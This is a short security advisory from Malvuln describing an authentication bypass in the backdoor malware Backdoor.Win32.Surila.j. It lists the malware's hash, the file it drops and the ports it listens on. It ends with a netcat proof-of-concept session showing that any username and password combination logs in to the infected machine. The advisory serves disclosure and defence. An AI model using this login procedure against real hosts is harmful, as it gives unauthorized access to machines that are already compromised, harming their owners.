Backdoor.Win32.Surila.j / Authentication Bypass

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f_B.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Surila.j
Vulnerability: Authentication Bypass
Description: The malware listens on random TCP high port numbers typically
starting with "1" E.g. 12356, 14985, 13850, 19050, 13137. Third-party
attackers who can reach infected systems can logon using any
username/password combination.
Type: PE32
MD5: b1cec4b806c71c82bbd9002bdaf21d1f
Vuln ID: MVID-2021-0289
Dropped files: iexp1orer.exe
Disclosure: 07/12/2021


Exploit/PoC:
nc64.exe x.x.x.x 13137
220 Bot Server (Win32)
USER mal
331 Password required.
PASS vuln
230 Login successful. Have fun.
SYST
215 UNIX Type: L8


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